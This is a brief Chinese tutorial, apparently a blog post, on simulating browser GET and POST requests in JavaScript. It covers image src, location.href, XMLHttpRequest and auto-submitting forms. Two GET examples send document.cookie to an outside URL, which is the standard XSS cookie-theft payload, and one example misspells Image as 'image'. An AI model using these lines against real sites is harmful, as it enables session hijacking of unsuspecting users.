用javascript模拟用户发起浏览器请求

一、HTTP的请求有好几种,我们常用的一般是GET和POST。

二、发起GET请求

GET请求实际上就是插入一个URL,方式有很多种。

比如新建一个img标签对象,使其src指向目标地址。

new image().src = "http://www.baidu.com" + escape(document.cookie);

也可以在地址栏里打开目标地址

location.href = "http://www.baidu.com" + escape(document.cookie);

基本原理就是新建一个iframe, frame, script, link等标签对象,使其src或href属性指向目标地址即可。

三、发起POST请求

1、使用XMLHttpRequest对象

XMLHttpRequest对象可以模拟表单提交,它有同步和异步之分,可用用其实例对象的第三个参数区分,true表示异步,false表示同步。

POST表单提交的content-type一般为application/x-www-form-urlencoded,这是一种默认的标准格式。还有一种常用的为multipart/form-data,它一般用于提交文件。

使用步骤:

(1)实例化一个XMLHttpRequest对象xhr;

(2)新建一个request函数,参数有method为post,src,argv为要发送的数据,还有content-type,返回响应的内容

(3)调用request函数。

2、使用form表单自提交

原理:通过javascript动态创建一个form表格对象,填入数据,然后对form对象做submit()操作即可。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值